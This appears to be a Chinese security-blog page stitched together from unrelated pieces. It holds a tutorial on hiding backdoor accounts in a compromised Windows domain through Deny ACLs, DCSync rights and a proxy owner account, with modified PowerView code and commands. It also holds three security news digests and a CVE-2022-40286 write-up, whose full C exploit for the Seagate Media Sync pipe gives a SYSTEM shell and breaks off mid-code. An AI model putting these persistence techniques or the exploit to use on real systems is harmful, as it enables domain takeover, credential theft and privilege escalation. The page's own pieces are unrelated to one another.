前言 当拿下域控权限时，为了维持权限，常常需要驻留一些后门，从而达到长期控制的目的。Windows AD域后门五花八门，除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码，还有一些基于ACL的后门。 ACL介绍 ACL是一个访问控制列表，是整个访问控制模型（ACM）的实现的总称。常说的ACL主要分为两类，分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合，ACE控制着对象指定允许、拒绝或审计的访问权限，其中Deny拒绝优先于Allow允许。 https://learn.microsoft.com/zh-cn/windows/desktop/SecGloss/s-gly包含与https://learn.microsoft.com/zh-cn/windows/win32/secauthz/securable-objects关联的安全信息。 安全描述符由 https://learn.microsoft.com/zh-cn/windows/desktop/api/Winnt/ns-winnt-security_descriptor 结构和关联的安全信息组成。 安全描述符可以包含以下安全信息：： 1、对象所有者和主组https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-identifiers (SID) 。 2、指定允许或拒绝特定用户或组的访问权限的 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists 。 3、一个 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists ，指定为对象生成审核记录的访问尝试的类型。 4、一组控制位，用于限定安全描述符或其单个成员的含义。 隐藏安全描述符 当可控一个用户时，不想该用户被轻易发现，可以对其进行隐藏。首先查看该用户所用者，默认是域管组： 可以在GUI上对所有者进行修改，也可以使用powerview进行修改： Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo 修改完成后： 因为是权限维持，所以当前权限是域管，先尝试给域管添加一个对jumbo用户Deny所有权限的ACL，但是发现powerview的Add-DomainObjectAcl方法并没有设置Deny权限的操作，只有Allow： 当然，你可以使用New-ADObjectAccessControlEntry来完成手动ACL的添加，他的原理如下图： 上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl已经完成了自动化的CommitChanges，直接把Allow默认可变的参数不就行了？首先手动在Add-DomainObjectAcl添加一个AccessControlType参数： .PARAMETER AccessControlType Specifies the type of ACE (allow or deny) 设置参数定义： [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, 删除之前的默认的Allow： 最后把AccessControlType参数替换之前的ControlType： 现在就可以在使用AccessControlType参数来给对象添加Allow或者Deny的权限了。 当尝试域管添加一个对jumbo用户Deny所有权限的ACL后： Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny 当然，把SID改成SamAccountName也是可以的： Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny 可以发现域管也没权限查看jumbo用户的属性了： 当使用system用户查看jumbo用户ACL时，可以看到对应的Deny的ACL： 现在域管对jumbo用户已经无法操作任何东西了，先用system用户删除该Deny权限，准备使用powerview的Remove-DomainObjectAcl方法时，发现也只有的Allow，也就是默认只能移除对象的Allow权限，老方法，把删除的ACL属性设置为可变参数： 进行删除： Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny 当然，把SID改成SamAccountName也是可以的： Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny 那么同学们可能会想，如果真的有人进行了上面操作，真的没办法查看了吗，实际上并不是，对象的拥有者是有权限修改的，比如把jumbo用户的拥有者改成默认的域管组，然后对域管进行设置Deny的ACL，但是实际上拥有者依然有权限修改其ACL，这也是为什么在文章开始的时候，要把jumbo拥有者设置为jumbo的目的： 上面尝试了拒绝域管对jumbo所有的权限，那为了隐藏，并且为了防止后续还要对jumbo用户的一些其他修改，实际上可以对jumbo用户设置everyone拒绝读取的权限即可： 现在所有用户对其都没有查看权限了： 当然，只是设置了拒绝读取权限，实际上当域管去修改其ACL权限时，还是可以的： 现在通过net user命令已经看不到jumbo这个用户了： 在“用户和计算机”里看用户长这样： 从上面的操作可以发现，给everyone用户添加拒绝读取权限时是通过GUI实现的，因为everyone用户是个特殊的用户，属于https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-special-identities-groups#everyone，是一个属于https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids的用户，其对应的SID为S-1-1-0： 当尝试使用powerview的Add-DomainObjectAcl方法是无法完成给everyone用户添加ACL的： 通过查看powerview的代码，会通过Get-ObjectAcl方法获取对应用户的SID，但是刚刚提到，everyone用户是个特殊的用户，导致查不到： 但是看了下还有个New-ADObjectAccessControlEntry方法，会判断输入的PrincipalIdentity参数是不是SID，如果是SID就不走查询，因此可以照葫芦画瓢，把这个判断加到Add-DomainObjectAcl方法中：       if ($PrincipalIdentity -notmatch '^S-1-.*') {           $PrincipalSearcherArguments = @{               'Identity' = $PrincipalIdentity               'Properties' = 'distinguishedname,objectsid'           }           if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }           if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }           if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }           if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }           if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }           if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }           if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }           $Principal = Get-DomainObject @PrincipalSearcherArguments           if (-not $Principal) {               throw "Unable to resolve principal: $PrincipalIdentity"           }           elseif($Principal.Count -gt 1) {               throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"           }           $ObjectSid = $Principal.objectsid           Write-Host ($ObjectSid)       }       else {           Write-Host "..sid.."           $ObjectSid = $PrincipalIdentity       }               $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) 现在尝试下，给jumbo2用户添加everyone所有拒绝的ACL： Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny Remove-DomainObjectAcl方法同理。 隐藏主体 通过上面的步骤，除了jumbo用户本身可以查看jumbo用户以为，其他用户都没有ReadControl权限，但是在“Active Directory用户和计算机管理”里还是可以看到，虽然ico图标都没了，接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示，笔者把jumbo用户移到一个单独的OU组里： 然后给这个OU设置everyone拒绝读取权限即可： 遇到一些粗心大意的管理员，可能会觉得这只是无意残留的无害物质，无伤大雅。 Dcsync Dcsync实际上就是给用户设置两条扩展权限，分别为： DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) 当用户拥有这两条ACL后，即可使用DRS协议获取域hash凭据。给用户在域对象上添加Dcsync权限即可： 代理账号 上面提到，把jumbo用户拥有者改成自身，然后设置everyone对其没有读取权限，这样就可以达到隐藏jumbo，然后手上的jumbo用户就可以肆无忌惮的做一些操作。但是有个问题，万一做操作的时候，该用户被发现了，管理员把该用户进行了禁用，那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用，应该设置个代理账号，把准备拿来攻击的账号（某个管理员用户或者有dcsync类似权限的账号）的拥有者设置代理账号，代理账号是其拥有所有者，然后设置所有用户对攻击账号都不可操作，最后每次都可以使用代理账号控制攻击账号，就算攻击账号被禁用/被改密码，也可以使用代理账号来重新启用他。 首先攻击账号为attack，代理账号为good，首先设置attack账号所有者为good： Set-DomainObjectOwner -identity attack -OwnerIdentity good 给attack账号添加dcsync权限： Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow 设置attack都不可操作： Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny 这个时候，如果attack在发起攻击的时候被管理员发现了，把attack账号密码重置了，但是good账号是attack账号的拥有者，可以修改attack账号的ACL，比如给自己添加修改密码的权限，然后去重置attack账号的密码，然后就又可以拿来攻击了。 总结 本文主要讲了在Windows域中如何利用ACL进行后门隐藏，并对powerview进行修改使其支持在添加ACL或者删除ACL时可以指定Allow或者Deny，也可以选择everyone此类特殊用户。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Sophos防火墙修复多个代码执行漏洞 https://www.securityweek.com/several-code-execution-vulnerabilities-patched-sophos-firewall 2、俄罗斯第二大银行 VTB Bank 遭受 DDoS 攻击 https://securityaffairs.co/wordpress/139354/hacking/vtb-bank-ddos-attack.html 3、美国警方采购汽车取证工具，可破解万款汽车信息娱乐系统提取数据 https://securityaffairs.co/wordpress/139267/hacking/law-enforcement-cars-infotainment-systems.html 4、报告称网络勒索在非洲、中东和中国呈指数级增长 https://www.infosecurity-magazine.com/news/cyber-extortion-growing-africa 5、研究人员披露APT37组织所使用的TTP https://thorcert.notion.site/TTPs-9-f04ce99784874947978bd2947738ac92 6、开源勒索软件工具包Cryptonite具有破坏性数据擦除功能 https://www.fortinet.com/blog/threat-research/Ransomware-Roundup-Cryptonite-Ransomware 7、AMI MegaRAC基板管理控制器供应链漏洞影响数十家制造商的服务器 https://thehackernews.com/2022/12/new-bmc-supply-chain-vulnerabilities.html 8、Android Messages 群聊将支持端对端加密 https://blog.google/products/messages/happy-birthday-sms/ 9、匈牙利政府被指向公民发送大量政治垃圾邮件 https://cybernews.com/privacy/hungary-abused-databases-bombard-citizens-political-spam/ 10、美国南达科他州禁止在政府发放的设备上安装 TikTok https://governor.sd.gov/doc/GovNoem-EO_2022-10.pdf

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、严重漏洞迫使社交媒体平台 Hive Social 离线 https://www.securityweek.com/critical-vulnerabilities-force-twitter-alternative-hive-social-offline 2、严重的 Ping 错误可能导致远程接管FreeBSD 系统 https://securityaffairs.co/wordpress/139300/hacking/cve-2022-23093-freebsd-systems-flaw.html 3、Lazarus APT 使用伪造的加密货币应用传播 AppleJeus 恶意软件 https://securityaffairs.co/wordpress/139290/apt/lazarus-apt-bloxholder-campaign.html 4、研究人员在暗网中发现最大的移动端恶意软件市场 https://securityaffairs.co/wordpress/139310/cyber-crime/dark-web-mobile-malware-marketplace.html 5、三星小米等厂商均受影响，谷歌披露威胁数百万安卓设备的高危漏洞 https://www.ithome.com/0/658/513.htm 6、三星 LG 联发科的证书被用于签名恶意程序 https://www.solidot.org/story?sid=73542 7、SANS发布《2022年顶级新攻击和威胁分析报告》 https://www.secrss.com/articles/49653 8、印度泰米尔纳德邦医院 15w名患者的个人数据在暗网出售 https://www.indiatimes.com/technology/news/personal-data-from-tn-hospital-on-dark-web-586554.html 9、DeFi 协议 Ankr 遭受 500 万美元盗窃 https://finance.yahoo.com/news/defi-protocol-ankr-exploited-over-060811318.html 10、全国首例！云南破获域名黑产大案，抓获630人 https://www.freebuf.com/news/351436.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、IBM Cloud 漏洞使用户面临供应链攻击 https://www.securityweek.com/ibm-cloud-vulnerability-exposed-users-supply-chain-attacks 2、三菱电机 PLC 工程软件被发现严重漏洞可用于入侵系统 https://www.securityweek.com/mitsubishi-electric-plcs-exposed-attacks-engineering-software-flaws 3、谷歌逐步将 Android 迁移到Rust等内存安全的编程语言 https://www.securityweek.com/google-migrating-android-memory-safe-programming-languages 4、美国国土安全部网络安全委员会将审查 Lapsus$ 团伙的运作 https://securityaffairs.co/wordpress/139255/cyber-crime/us-dhs-cyber-safety-board-review-lapsus-attacks.html 5、谷歌发布安全更新以解决一个新的 Chrome 零日漏洞 https://securityaffairs.co/wordpress/139226/security/9-google-chrome-zero-day.html 6、Keralty跨国医疗组织遭受RansomHouse勒索软件攻击 https://www.bleepingcomputer.com/news/security/keralty-ransomware-attack-impacts-colombias-health-care-system/ 7、Cuba勒索软件在美国感染实体数量增加且赎金金额增多 https://www.cisa.gov/uscert/ncas/current-activity/2022/12/01/stopransomware-cuba-ransomware 8、超150个Oracle访问管理系统存在漏洞 https://therecord.media/more-than-150-oracle-access-management-systems-exposed-to-bug-highlighted-by-cisa/ 9、新型CryWiper数据擦除器攻击俄罗斯法院和市长办公室 https://www.bleepingcomputer.com/news/security/new-crywiper-data-wiper-targets-russian-courts-mayor-s-offices/ 10、十年未被发现！现代汽车曝重大安全漏洞可远程解锁、启动汽车 https://www.freebuf.com/news/351422.html

这是挖掘 CVE-2022-40286 漏洞的记录。 闲来无事，我上网随便找了一个驱动来进行测试。我想找一个知名公司的产品，但是又不能是太偏太难懂的东西。 我最先发现了一个叫"Seagate Media Sync"的软件，这是一个将文件复制到希捷无线硬盘上的工具。之后我安装并运行了该软件，然后我发现它创建了一个名为"MediaAggreService.exe"的后台SYSTEM服务。 然后发现这个工具还有一个UI安装程序。 我们一般常见的查找权限提升的方式是对低权限的进程（UI）和高权限服务（或驱动）之间的内部通信进行攻击开始的。要想使用这个方法，首先第一步我们要能够监控的来自UI的合法通信。然而，由于我没有与之配套的希捷硬盘，我们只能使用这个程序中非常少的功能。 通过查看进程资源管理器发现，该服务还包含了一个处理MEDIA_AGGRE_PIPE.PIP管道消息的句柄。猜测这个管道可能是用于用户界面（stxmediamanager.exe）和服务（MediaAggreService.exe）之间的通信。 通过观察用户界面，似乎我们可以点击的唯一按钮就是 "刷新"按钮。希望这能够让我们监控到一些服务通信。我们将调试器连接到用户界面进程，并在CreateFile和WriteFile函数上设置断点。 如上所示，当我们点击 "刷新 "按钮时，UI进程使用CreateFile函数进行了一个命名管道连接。我们可以检查之后调用的WriteFile函数来记录消息数据的内容。以下是写数据操作。 根据以上内容，我们可以猜测，第一个消息是一个4字节长度的字段，表示消息体的大小。第二条信息则是真实的命令数据。在这个事件中，它正在发送一条消息体长度为8个字节的命令。最初的4字节长度值与第二个WriteFile调用的nNumberOfBytesToWrite参数一致，这正符合我们的预期。我们现在可以检查该信息传递过程中的接收端。在MediaAggreService.exe中的ConnectNamedPipe函数上设置一个断点，该断点应该会在UI客户端调用CreateFile函数时触发。 然后我们现在可以在ReadFile函数上设置一个断点，这样就可以看到从客户端发送的数据。 现在我们已经找到了该服务中读取数据的代码，然后我们可以跟踪代码的执行流程。由于目前我们只能访问用户界面中的 "刷新 "命令，因此我们很有必要再进行一些静态分析，看看还有哪些命令可用。 在花了一些时间分析代码后，我可以看到每个命令都是以一个16位的签名（0x4B5C）开始的。之后是一个16位的 主命令ID，然后是一个32位的次命令ID。 001145BB | BA 5C4B0000             | mov edx,4B5C                                     | set expected command header signature: 0x4B5C 001145C0 | 0FB708                 | movzx ecx,word ptr ds:[eax]                     | get actual command header signature value 001145C3 | 66:3BCA                 | cmp cx,dx                                       | check 16-bit signature value 001145C6 | 74 1A                   | je mediaaggreservice.1145E2                     | jump if signature matches 001145C8 | 51                     | push ecx                                         | 001145C9 | 68 D8391200             | push mediaaggreservice.1239D8                   | "[PIPE] Failure: Bad Signature 0x%X" 001145CE | 68 F0841400             | push mediaaggreservice.1484F0                   | 001145D3 | E8 D866FFFF             | call mediaaggreservice.10ACB0                   | add_log_entry 001145D8 | 83C4 0C                 | add esp,C                                       | 001145DB | 33C0                   | xor eax,eax                                     | 001145DD | 5E                     | pop esi                                         | 001145DE | 8BE5                   | mov esp,ebp                                     | 001145E0 | 5D                     | pop ebp                                         | 001145E1 | C3                     | ret                                             | error, return 001145E2 | 57                     | push edi                                         | 001145E3 | FF70 04                 | push dword ptr ds:[eax+4]                       | log minor command ID (32-bit) 001145E6 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                   | log major command ID (16-bit) 001145EA | 50                     | push eax                                         | 001145EB | 68 203A1200             | push mediaaggreservice.123A20                   | "[PIPE] Command major/minor: [0x%X:0x%X]" 001145F0 | 68 F0841400             | push mediaaggreservice.1484F0                   | 001145F5 | E8 7667FFFF             | call mediaaggreservice.10AD70                   | add_log_entry 001145FA | 8B86 D0F00100           | mov eax,dword ptr ds:[esi+1F0D0]                 | 00114600 | C745 F8 00000000       | mov dword ptr ss:[ebp-8],0                       | 00114607 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                   | get major command value (message_base + 0x2) 0011460B | 83C4 10                 | add esp,10                                       | 0011460E | 83F8 10                 | cmp eax,10                                       | check if the major command value is 0x10 00114611 | 74 60                   | je mediaaggreservice.114673                     | jump to 0x10 command switch 00114613 | 83F8 20                 | cmp eax,20                                       | check if the major command value is 0x20 00114616 | 74 1A                   | je mediaaggreservice.114632                     | jump to 0x20 command switch 00114618 | 68 C83A1200             | push mediaaggreservice.123AC8                   | "[PIPE] Failure: Unknown Major Command" 0011461D | 68 F0841400             | push mediaaggreservice.1484F0                   | 00114622 | E8 8966FFFF             | call mediaaggreservice.10ACB0                   | add_log_entry 通过代码我们也可以看到，该服务似乎只支持两个主命令ID -- 0x10和0x20。发现这些线索后，我们现在可以解码我们先前记录的原始的 "刷新 "命令了。 Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x1) (no message body) 在观察分析了两个主命令组的代码后，我注意到0x10命令组包含了一个调用内部函数 MXOSRVSetRegKey 的条目，这个条目的次命令ID为0x400。 001136E4 | 68 08300000             | push 3008                                               | total message length 001136E9 | 8D47 08                 | lea eax,dword ptr ds:[edi+8]                             | 001136EC | 50                     | push eax                                                 | 001136ED | 8DB3 C0A90100           | lea esi,dword ptr ds:[ebx+1A9C0]                         | 001136F3 | 56                     | push esi                                                 | 001136F4 | E8 5F560000             | call <JMP.&memcpy>                                       | copy command message body 001136F9 | FFB3 C0D90100           | push dword ptr ds:[ebx+1D9C0]                           | 001136FF | 8D83 C0C90100           | lea eax,dword ptr ds:[ebx+1C9C0]                         | 00113705 | 50                     | push eax                                                 | 00113706 | 8D83 C0B90100           | lea eax,dword ptr ds:[ebx+1B9C0]                         | 0011370C | 50                     | push eax                                                 | 0011370D | 56                     | push esi                                                 | 0011370E | FF15 68D31100           | call dword ptr ds:[<&?MXOSRVSetRegKey@@YAHPA_W00H@Z>]   | execute command 顾名思义，MXOSRVSetRegKey 函数的作用似乎就是设置一个注册表值，如果该键不存在，那么就创建该键。 70F25590 | 55                     | push ebp                                                 | 70F25591 | 8BEC                   | mov ebp,esp                                             | 70F25593 | 83EC 08                 | sub esp,8                                               | 70F25596 | 8D45 F8                 | lea eax,dword ptr ss:[ebp-8]                             | 70F25599 | 50                     | push eax                                                 | 70F2559A | 8D45 FC                 | lea eax,dword ptr ss:[ebp-4]                             | 70F2559D | 50                     | push eax                                                 | 70F2559E | 6A 00                   | push 0                                                   | 70F255A0 | 68 3F000F00             | push F003F                                               | 70F255A5 | 6A 00                   | push 0                                                   | 70F255A7 | 68 6823F370             | push stxmediadevif.70F32368                             | 70F255AC | 6A 00                   | push 0                                                   | 70F255AE | FF75 08                 | push dword ptr ss:[ebp+8]                               | 70F255B1 | C745 FC 00000000       | mov dword ptr ss:[ebp-4],0                               | 70F255B8 | 68 02000080             | push 80000002                                           | 70F255BD | FF15 1020F370           | call dword ptr ds:[<&RegCreateKeyExW>]                   | 70F255C3 | 85C0                   | test eax,eax                                             | 70F255C5 | 75 1E                   | jne stxmediadevif.70F255E5                               | 70F255C7 | FF75 14                 | push dword ptr ss:[ebp+14]                               | 70F255CA | FF75 10                 | push dword ptr ss:[ebp+10]                               | 70F255CD | 6A 01                   | push 1                                                   | 70F255CF | 50                     | push eax                                                 | 70F255D0 | FF75 0C                 | push dword ptr ss:[ebp+C]                               | 70F255D3 | FF75 FC                 | push dword ptr ss:[ebp-4]                               | 70F255D6 | FF15 0420F370           | call dword ptr ds:[<&RegSetValueExW>]                   | 70F255DC | FF75 FC                 | push dword ptr ss:[ebp-4]                               | 70F255DF | FF15 0020F370           | call dword ptr ds:[<&RegCloseKey>]                       | 70F255E5 | 33C0                   | xor eax,eax                                             | 70F255E7 | 8BE5                   | mov esp,ebp                                             | 70F255E9 | 5D                     | pop ebp                                                 | 70F255EA | C3                     | ret                                                     | 通过对这段代码的分析表明，该命令很有可能会允许我们通过客户端进程远程创建或者修改注册表字符串值。注册表的根键被硬编码为HKEY_LOCAL_MACHINE（在RegCreateKeyExW调用中推0x80000002）。在对这些函数进行逆向分析后，我们发现这个命令接收的消息数据格式如下所示。 Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x400) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> Value (wide-char) 0x3000 -> Value Length (DWORD) 0x3004 -> (Unused) 由于类型字段被硬编码为REG_SZ（在RegSetValueExW调用中push 1），所以上面的命令只支持字符串值 。 我还发现了另一个命令ID（0x410），它允许我们以同样的方式设置REG_DWORD值。这个命令接收的消息数据格式如下。 Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x410) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> (Unused) 0x3000 -> (Unused) 0x3004 -> Value (DWORD) 从上面的命令数据布局可以看出，我们可以推断出这两个命令应该有一个相同的数据结构。我们可以用C结构来表示，如下。 // reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; }; 假设我们的上述猜想都是正确的，这也就意味着，任何用户都能够通过向seagate服务管道发送命令，向HKEY_LOCAL_MACHINE内的任何键写入任意的注册表值。如果这可以实现，这也就意味着我们对于权限的提升就有了一个很明确的利用途径。 所以根据我们分析得到的结果，编写一个自定义的管道客户端来测试我们的猜想。 DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } // free buffer free(pDataBlock); // close pipe CloseHandle(hPipe); return 0; } DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } SetRegString("SOFTWARE\\Microsoft\\test", "test", "test_value"); 上面的代码是连接到了MEDIA_AGGRE_PIPE.PIP管道，并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\test内创建一个注册表值。然后我们将会以普通用户的身份来执行这个程序。 经过测试可以发现，这段代码可以正常执行，并成功创建了目标注册表值。对注册表HKEY_LOCAL_MACHINE的操作也为攻击提供了更多的可能性。在这种情况下，我们可以通过向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表键添加条目来创建一个自定义服务。 通常我们不会部署一个单独的exe来作为SYSTEM服务的有效载荷，而是将这一功能放到可执行文件中。这个执行程序将会首先检查它是否是以SYSTEM用户的身份运行。如果不是，它将会执行默认的行为，并通过希捷服务管道创建一个新的服务，如上所述。否则，如果exe检测到它是以SYSTEM服务的身份运行，它将会部署主要的有效载荷，这将会创建一个shell。 总而言之，这个POC工具将执行以下步骤。 使用CreateFile通过命名管道.\pipe\MEDIA_AGGRE_PIPE.PIP连接到希捷服务。 使用GetModuleFileName获取当前exe的文件路径。 通过向希捷服务的命名管道发送注册表命令，创建一个新的Windows服务。在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中添加一个新条目，使用当前的exe作为进程路径。 重新启动计算机。 Windows将在启动时自动启动我们新创建的服务。可执行程序将检测到它是以SYSTEM身份运行的，并监听1234端口的TCP连接。 当用户连接到localhost:1234时，漏洞服务将会以SYSTEM的身份启动一个新的cmd.exe进程，stdin/stdout会被重定向到客户端套接字。 执行后 重启计算机 链接到 localhost:1234 最终，这个漏洞编号为 CVE-2022-40286。 以下是完整的利用代码。 #include <stdio.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") // reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; }; DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } // free buffer free(pDataBlock); // close pipe CloseHandle(hPipe); return 0; } DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / 